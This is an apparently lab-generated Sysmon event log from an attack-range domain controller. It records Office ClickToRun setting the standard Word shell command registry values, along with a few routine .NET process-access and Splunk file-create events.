10341000x800000000000000040325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.268{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.268{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.RTF.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" 13241300x800000000000000040317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.OpenDocumentText.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 13241300x800000000000000040309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 13241300x800000000000000040301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.TemplateMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\wordhtmltemplate\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" 13241300x800000000000000040297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 10341000x800000000000000040293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.221{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6108-00000000F001}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Template.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\wordxmlfile\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" 13241300x800000000000000040288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 10341000x800000000000000040283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.206{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.206{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 23542300x800000000000000040280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=317229BA83ED52405FC6ECB6849ED4A5,SHA256=FEC9B494ABDE952F7F84AEB9B08248764043ACDC13C8601F5277061A76FDF68A,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.206{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 13241300x800000000000000040272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.DocumentMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\wordhtmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" 13241300x800000000000000040268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.190{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vp "%%1" 13241300x800000000000000040267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /i "%%1" 13241300x800000000000000040265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /h /n "%%1" 13241300x800000000000000040264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program 